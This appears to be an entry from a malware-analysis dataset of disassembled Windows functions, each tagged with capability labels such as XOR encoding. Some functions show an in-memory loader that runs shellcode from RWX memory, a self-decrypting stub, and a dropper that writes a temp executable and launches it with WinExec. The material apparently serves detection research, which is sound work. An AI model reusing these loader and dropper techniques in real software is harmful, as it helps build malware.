joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d4e0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x844
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x840], eax
push ebx
mov ebx, dword [esp + 0x854]
push ebp
push esi
push edi
push 0x7ff
lea eax, [esp + 0x55]
push 0
push eax
mov dword [esp + 0x20], ebx
mov edi, 1
mov byte [esp + 0x5c], 0
call fcn.0040fd40
mov ecx, dword [esp + 0x864]
imul ecx, ecx, 0x126
add esp, 0xc
cmp dword [ecx + 0x432bc8], 0
jne 0x40d541
mov eax, 0xa2
jmp 0x40d65c
mov esi, dword [esp + 0x864]
push esi
lea edx, [esp + 0x54]
push ebx
push edx
call fcn.00411170
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410924
call fcn.00410931
mov bl, al
lea eax, [esp + 0x1c]
push 0x19
push eax
call fcn.0040a4f0
mov eax, esi
add esp, 0xc
and eax, 0xf
je 0x40d598
add eax, esi
cmp esi, eax
jae 0x40d598
sub eax, esi
push eax
lea ecx, [esp + esi + 0x54]
push 0
push ecx
call fcn.0040fd40
add esp, 0xc
xor ebp, ebp
test esi, esi
jbe 0x40d647
mov al, byte [esp + 0x85c]
xor al, bl
mov byte [esp + 0x13], al
jmp 0x40d5b5
mov al, byte [esp + 0x13]
mov byte [esp + 0x1b], al
mov byte [esp + 0x19], 0x42
mov byte [esp + 0x1a], bl
xor eax, eax
mov cl, byte [esp + ebp + 0x50]
xor cl, bl
mov byte [esp + eax + 0x1e], cl
add eax, 1
add ebp, 1
cmp eax, 0x10
jb 0x40d5c4
sub esp, 0x1c
mov ecx, 6
lea esi, [esp + 0x34]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
mov ecx, dword [esp + 0x874]
lea edx, [esp + 0x50]
mov byte [esp + 0x4c], al
push edx
lea eax, [esp + 0x38]
push eax
push ecx
call fcn.0040a6d0
mov edi, eax
add esp, 0x28
test edi, edi
ja 0x40d677
cmp ebp, dword [esp + 0x864]
mov edx, dword [esp + 0x3a]
mov eax, dword [esp + 0x3e]
mov ecx, dword [esp + 0x42]
mov dword [esp + ebp + 0x40], edx
mov edx, dword [esp + 0x46]
mov dword [esp + ebp + 0x44], eax
mov dword [esp + ebp + 0x48], ecx
mov dword [esp + ebp + 0x4c], edx
jb 0x40d5b1
mov esi, dword [esp + 0x864]
mov ecx, dword [esp + 0x14]
push esi
lea eax, [esp + 0x54]
push eax
push ecx
call fcn.00411170
add esp, 0xc
mov eax, edi
mov ecx, dword [esp + 0x850]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x844
ret 0x10
mov eax, 0x29
jmp 0x40d65c
Function at 0x40d680
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x844
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x840], eax
push ebx
mov ebx, dword [esp + 0x854]
push ebp
push esi
push edi
push 0x7ff
lea eax, [esp + 0x55]
push 0
push eax
mov dword [esp + 0x20], ebx
mov edi, 1
mov byte [esp + 0x5c], 0
call fcn.0040fd40
mov ecx, dword [esp + 0x864]
imul ecx, ecx, 0x126
add esp, 0xc
cmp dword [ecx + 0x432bc8], 0
jne 0x40d6e1
mov eax, 0xa2
jmp 0x40d7fc
mov esi, dword [esp + 0x864]
push esi
lea edx, [esp + 0x54]
push ebx
push edx
call fcn.00411170
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410924
call fcn.00410931
mov bl, al
lea eax, [esp + 0x1c]
push 0x19
push eax
call fcn.0040a4f0
mov eax, esi
add esp, 0xc
and eax, 0xf
je 0x40d738
add eax, esi
cmp esi, eax
jae 0x40d738
sub eax, esi
push eax
lea ecx, [esp + esi + 0x54]
push 0
push ecx
call fcn.0040fd40
add esp, 0xc
xor ebp, ebp
test esi, esi
jbe 0x40d7e7
mov al, byte [esp + 0x85c]
xor al, bl
mov byte [esp + 0x13], al
jmp 0x40d755
mov al, byte [esp + 0x13]
mov byte [esp + 0x1b], al
mov byte [esp + 0x19], 0x43
mov byte [esp + 0x1a], bl
xor eax, eax
mov cl, byte [esp + ebp + 0x50]
xor cl, bl
mov byte [esp + eax + 0x1e], cl
add eax, 1
add ebp, 1
cmp eax, 0x10
jb 0x40d764
sub esp, 0x1c
mov ecx, 6
lea esi, [esp + 0x34]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
mov ecx, dword [esp + 0x874]
lea edx, [esp + 0x50]
mov byte [esp + 0x4c], al
push edx
lea eax, [esp + 0x38]
push eax
push ecx
call fcn.0040a6d0
mov edi, eax
add esp, 0x28
test edi, edi
ja 0x40d817
cmp ebp, dword [esp + 0x864]
mov edx, dword [esp + 0x3a]
mov eax, dword [esp + 0x3e]
mov ecx, dword [esp + 0x42]
mov dword [esp + ebp + 0x40], edx
mov edx, dword [esp + 0x46]
mov dword [esp + ebp + 0x44], eax
mov dword [esp + ebp + 0x48], ecx
mov dword [esp + ebp + 0x4c], edx
jb 0x40d751
mov esi, dword [esp + 0x864]
mov ecx, dword [esp + 0x14]
push esi
lea eax, [esp + 0x54]
push eax
push ecx
call fcn.00411170
add esp, 0xc
mov eax, edi
mov ecx, dword [esp + 0x850]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x844
ret 0x10
mov eax, 0x2a
jmp 0x40d7fc
Function at 0x40dab0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov cl, 0xcc
mov byte [eax], cl
mov byte [eax + 1], cl
mov byte [eax + 2], cl
xor cl, cl
mov byte [eax + 3], cl
mov byte [esp + 8], cl
mov cl, byte [esp + 8]
cmp cl, 0x79
jae 0x40db18
mov ecx, dword [esp + 4]
movzx edx, byte [esp + 8]
movzx edx, dl
movzx edx, byte [edx + ecx]
xor byte [eax], dl
movzx edx, byte [esp + 8]
movzx edx, dl
movzx edx, byte [edx + ecx + 1]
xor byte [eax + 1], dl
movzx edx, byte [esp + 8]
movzx edx, dl
movzx edx, byte [edx + ecx + 2]
xor byte [eax + 2], dl
movzx edx, byte [esp + 8]
add edx, 4
mov byte [esp + 8], dl
movzx edx, byte [esp + 8]
cmp dl, 0x79
jb 0x40dad4
ret
Function at 0x40dea0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x40
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
imul eax, eax, 0x126
cmp dword [eax + 0x432bc8], 0
push ebx
push ebp
mov ebp, dword [esp + 0x50]
push esi
push edi
jne 0x40dee3
mov eax, 0xa2
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8
lea ecx, [esp + 0x14]
push 0x19
push ecx
call fcn.0040a4f0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410924
add esp, 4
call fcn.00410931
mov bl, al
mov dword [esp + 0x10], 0
mov eax, dword [ebp]
mov dl, byte [esp + 0x10]
mov ecx, dword [ebp + 4]
mov dword [esp + 0x19], eax
mov eax, dword [ebp + 0xc]
mov byte [esp + 0x17], dl
mov edx, dword [ebp + 8]
mov dword [esp + 0x25], eax
mov byte [esp + 0x15], 0xa7
mov byte [esp + 0x16], bl
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x21], edx
xor eax, eax
nop
xor byte [esp + eax + 0x17], bl
add eax, 1
cmp eax, 0x12
jl 0x40df40
sub esp, 0x1c
mov ecx, 6
lea esi, [esp + 0x30]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x34]
mov byte [esp + 0x4c], al
mov eax, dword [esp + 0x74]
push edx
push eax
call fcn.0040a6d0
add esp, 0x28
test eax, eax
jne 0x40df98
mov eax, dword [esp + 0x10]
add eax, 1
add ebp, 0x10
cmp eax, 8
mov dword [esp + 0x10], eax
jl 0x40df10
mov byte [esp + 0x16], bl
sub esp, 0x1c
xor bl, 8
mov byte [esp + 0x31], 0xa7
mov byte [esp + 0x33], bl
mov ecx, 6
lea esi, [esp + 0x30]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x34]
mov byte [esp + 0x4c], al
mov eax, dword [esp + 0x74]
push edx
push eax
call fcn.0040a6d0
mov ecx, dword [esp + 0x74]
add esp, 0x28
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8
Function at 0x40dff0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x40
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
imul eax, eax, 0x126
cmp dword [eax + 0x432bc8], 0
push ebx
push ebp
mov ebp, dword [esp + 0x50]
push esi
push edi
jne 0x40e033
mov eax, 0xa2
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8
lea ecx, [esp + 0x14]
push 0x19
push ecx
call fcn.0040a4f0
add esp, 8
call fcn.00410931
mov bl, al
mov dword [esp + 0x10], 0
mov eax, dword [ebp]
mov dl, byte [esp + 0x10]
mov ecx, dword [ebp + 4]
mov dword [esp + 0x19], eax
mov eax, dword [ebp + 0xc]
mov byte [esp + 0x17], dl
mov edx, dword [ebp + 8]
mov dword [esp + 0x25], eax
mov byte [esp + 0x15], 0xa8
mov byte [esp + 0x16], bl
mov dword [esp + 0x1d], ecx
mov dword [esp + 0x21], edx
xor eax, eax
xor byte [esp + eax + 0x17], bl
add eax, 1
cmp eax, 0x12
jl 0x40e080
sub esp, 0x1c
mov ecx, 6
lea esi, [esp + 0x30]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x34]
mov byte [esp + 0x4c], al
mov eax, dword [esp + 0x74]
push edx
push eax
call fcn.0040a6d0
add esp, 0x28
test eax, eax
jne 0x40e0d8
mov eax, dword [esp + 0x10]
add eax, 1
add ebp, 0x10
cmp eax, 8
mov dword [esp + 0x10], eax
jl 0x40e051
mov byte [esp + 0x16], bl
sub esp, 0x1c
xor bl, 8
mov byte [esp + 0x31], 0xa8
mov byte [esp + 0x33], bl
mov ecx, 6
lea esi, [esp + 0x30]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x34]
mov byte [esp + 0x4c], al
mov eax, dword [esp + 0x74]
push edx
push eax
call fcn.0040a6d0
mov ecx, dword [esp + 0x74]
add esp, 0x28
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8
Function at 0x40e5a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x40
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x48]
imul ecx, ecx, 0x126
cmp dword [ecx + 0x432bc8], 0
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], eax
jne 0x40e5e7
mov eax, 0xa2
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor bl, bl
nop
lea edx, [esp + 0x14]
push 0x19
push edx
call fcn.0040a4f0
add esp, 8
call ebp
push eax
call fcn.00410924
add esp, 4
call fcn.00410931
mov cl, al
xor cl, bl
mov byte [esp + 0x17], cl
movzx ecx, bl
shl ecx, 4
add ecx, dword [esp + 0x10]
mov byte [esp + 0x15], 0xf1
mov edx, dword [ecx]
mov dword [esp + 0x1a], edx
mov edx, dword [ecx + 4]
mov dword [esp + 0x1e], edx
mov edx, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
mov dword [esp + 0x26], ecx
mov byte [esp + 0x16], al
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov dword [esp + 0x22], edx
xor ecx, ecx
nop
xor byte [esp + ecx + 0x1a], al
add ecx, 1
cmp ecx, 0x10
jl 0x40e650
sub esp, 0x1c
mov ecx, 6
lea esi, [esp + 0x30]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x4c]
mov byte [esp + 0x48], al
push edx
lea eax, [esp + 0x34]
push eax
push ecx
call fcn.0040a6d0
add esp, 0x28
test eax, eax
jne 0x40e69d
add bl, 1
cmp bl, 8
jb 0x40e5f0
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x40
ret 8

Function at 0x40e6c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub esp, 0x3c
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
imul eax, eax, 0x126
cmp dword [eax + 0x432bc8], 0
push ebx
push ebp
mov ebp, dword [esp + 0x4c]
push esi
push edi
jne 0x40e703
mov eax, 0xa2
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0040fac6
add esp, 0x3c
ret 8
lea ecx, [esp + 0x10]
push 0x19
push ecx
call fcn.0040a4f0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410924
call fcn.00410931
mov bl, al
sub esp, 0x18
mov byte [esp + 0x2d], 0xf0
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], bl
mov ecx, 6
lea esi, [esp + 0x2c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
mov ecx, dword [esp + 0x6c]
lea edx, [esp + 0x48]
mov byte [esp + 0x44], al
push edx
lea eax, [esp + 0x30]
push eax
push ecx
call fcn.0040a6d0
lea esi, [esp + 0x5a]
add esp, 0x28
mov ecx, ebp
sub esi, ebp
mov edi, 0xc
mov dl, byte [esi + ecx]
xor dl, bl
mov byte [ecx], dl
add ecx, 1
sub edi, 1
jne 0x40e778
mov ecx, dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x3c
ret 8
Function at 0x40ee10
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x44
mov eax, dword [0x427da0]
xor eax, esp
mov dword [esp + 0x40], eax
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x4c]
push ebx
push ebp
mov ebp, dword [esp + 0x50]
mov edx, ebp
imul edx, edx, 0x126
cmp dword [edx + 0x432bc8], 0
push esi
push edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 0
jne 0x40ee65
mov eax, 0xa2
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.0040fac6
add esp, 0x44
ret 0xc
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.0040e420
add esp, 8
test al, al
jne 0x40ee91
mov eax, 0x20
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.0040fac6
add esp, 0x44
ret 0xc
lea edx, [esp + 0x18]
push 0x19
push edx
call fcn.0040a4f0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410924
call fcn.00410931
mov bl, al
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1f], eax
xor byte [esp + 0x20], bl
xor byte [esp + 0x21], bl
xor byte [esp + 0x22], bl
sub esp, 0x18
xor al, bl
mov byte [esp + 0x37], al
mov byte [esp + 0x35], 0xa4
mov byte [esp + 0x36], bl
mov ecx, 6
lea esi, [esp + 0x34]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.0040a880
mov byte [esp + 0x4c], al
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x38]
push ecx
push ebp
call fcn.0040a6d0
add esp, 0x28
mov esi, eax
xor eax, eax
jmp 0x40ef10
xor byte [esp + eax + 0x35], bl
add eax, 1
cmp eax, 0x14
jl 0x40ef10
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x38]
push edx
push eax
call fcn.0040e510
mov ecx, dword [esp + 0x58]
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040fac6
add esp, 0x44
ret 0xc

Function at 0x40f9a0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebp, edi
xor ecx, ecx
sub ebp, edx
xor eax, eax
mov bl, cl
or bl, al
add bl, byte [eax + edi]
add eax, 1
add byte [edx], bl
cmp eax, 8
jl 0x40f9b4
xor esi, esi
mov al, byte [esi + edi]
sub al, 1
imul cl
xor byte [edx], al
add esi, 1
cmp esi, 8
jl 0x40f9c7
mov al, byte [edx + ebp]
shl al, cl
add ecx, 1
add edx, 1
xor byte [edx - 1], al
cmp ecx, 8
jl 0x40f9b2
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40fac6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427da0]
jne 0x40fad0
repz ret
jmp fcn.00411f2e
Function at 0x4114d5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x411502
call fcn.00411b19
mov dword [eax], esi
call fcn.00411b06
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00413107
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x4114de
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x411531
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00411b2c
pop ecx
call fcn.00411b06
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x411558
test al, 1
je 0x411558
test byte [esp + 0xc], 2
je 0x411558
call fcn.00411b19
mov dword [eax], 5
call fcn.00411b06
mov dword [eax], 0xd
jmp 0x411528
xor eax, eax
pop esi
ret
Function at 0x41b876
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0041318e
xor ebx, ebx
cmp dword [0x435980], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x41b94b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x41b8b6
xor eax, eax
jmp 0x41ba0f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x423e2c
push edi
call esi
cmp eax, ebx
je 0x41b8af
push eax
call fcn.0041312b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435980], eax
call esi
push eax
call fcn.0041312b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x435984], eax
call esi
push eax
call fcn.0041312b
mov dword [0x435988], eax
lea eax, [ebp - 8]
push eax
call fcn.004103f1
test eax, eax
pop ecx
pop ecx
je 0x41b919
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041300b
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x41b94b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041312b
cmp eax, ebx
pop ecx
mov dword [0x435990], eax
je 0x41b94b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041312b
pop ecx
mov dword [0x43598c], eax
mov eax, dword [0x43598c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x41b9c4
cmp dword [0x435990], esi
je 0x41b9c4
push eax
call fcn.00413197
pop ecx
call eax
cmp eax, ebx
je 0x41b991
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x435990]
call fcn.00413197
pop ecx
call eax
test eax, eax
je 0x41b991
test byte [ebp - 0x18], 1
jne 0x41b9c4
lea eax, [ebp - 0xc]
push eax
call fcn.00410428
test eax, eax
pop ecx
je 0x41b9ac
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041300b
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x41b9bb
or dword [ebp + 0x10], 0x200000
jmp 0x41b9f5
or dword [ebp + 0x10], 0x40000
jmp 0x41b9f5
mov eax, dword [0x435984]
cmp eax, esi
je 0x41b9f5
push eax
call fcn.00413197
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x41b9f5
mov eax, dword [0x435988]
cmp eax, esi
je 0x41b9f5
push dword [ebp - 4]
push eax
call fcn.00413197
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x435980]
call fcn.00413197
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40143f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x828
push ebx
push esi
push edi
sub eax, eax
mov word [ebp - reloc.crtdll.dll_printf], ax
push 0x400
xor edi, edi
lea eax, [ebp - 0x828]
push eax
push edi
pop ebx
push edi
pop esi
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x828]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
pop edi
cmp edi, 0xffffffff
je 0x4014e0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
pop ebx
mov ecx, ebx
mov dword [ebp - 0x14], eax
call fcn.00401720
push eax
pop esi
push 0
lea eax, [ebp - 0x20]
push eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4014c8
cmp dword [ebp - 0x20], ebx
je 0x4014d9
push esi
pop ecx
call fcn.00401790
xor esi, esi
sub ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ecx
mov ecx, esi
call fcn.00401271
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401213
mov edi, dword [ebp - 0xc]
push reloc.mscms.dll_SetColorProfileHeader
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [ebp - 0x18], eax
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x1c], eax
add eax, 0x18
push 0x3000
add eax, ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
pop ebx
mov dword [ebp - 8], ebx
or ebx, ebx
je 0x401650
push reloc.mscms.dll_SetColorProfileHeader
push edi
pop edx
push ebx
pop ecx
call fcn.00401730
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebx + 0x3c]
movzx eax, word [esi + 0x14]
add ecx, ebx
push eax
mov edx, esi
mov dword [ebp - 4], ecx
jmp 0x4828c8
push edi
pop ecx
call fcn.00401790
mov ecx, esi
call fcn.00401790
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, 0xcc10
call fcn.00401670
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x31c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x31c]
push 0x407050
push edx
call fcn.0040165c
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x4011f4
push 2
push 0
push ebp
call fcn.004015b0
push ebp
call fcn.00401458
mov ebx, eax
add esp, 0x10
sub ebx, 0xb000
test ebx, ebx
jg 0x401086
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xcc10
ret 0x10
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40704c
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x21c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._tmpcmd.tmp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0040165c
mov esi, eax
add esp, 8
test esi, esi
je 0x4011f4
mov edx, dword [esp + 0xcc2c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
push ecx
push 1
push edx
call fcn.0040134e
push esi
call fcn.004012f8
lea edi, [esp + 0x128]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40703c
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._tmpdgp.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.0040165c
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x4011f4
push 0
push 0xb000
push ebp
call fcn.004015b0
add esp, 0xc
mov esi, 0xc800
cmp ebx, esi
jge 0x4011ad
mov esi, ebx
push ebp
push esi
lea ecx, [esp + 0x428]
push 1
push ecx
call fcn.00401210
push edi
push esi
lea edx, [esp + 0x438]
push 1
push edx
call fcn.0040134e
sub ebx, esi
add esp, 0x20
test ebx, ebx
jg 0x4011a2
push ebp
call fcn.004012f8
push edi
call fcn.004012f8
add esp, 8
lea eax, [esp + 0x10]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xcc10
ret 0x10

Function at 0x401a60
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebp
pop dword [0x438810]
push dword [0x438810]
push 0x401a7b
jmp fcn.004015b0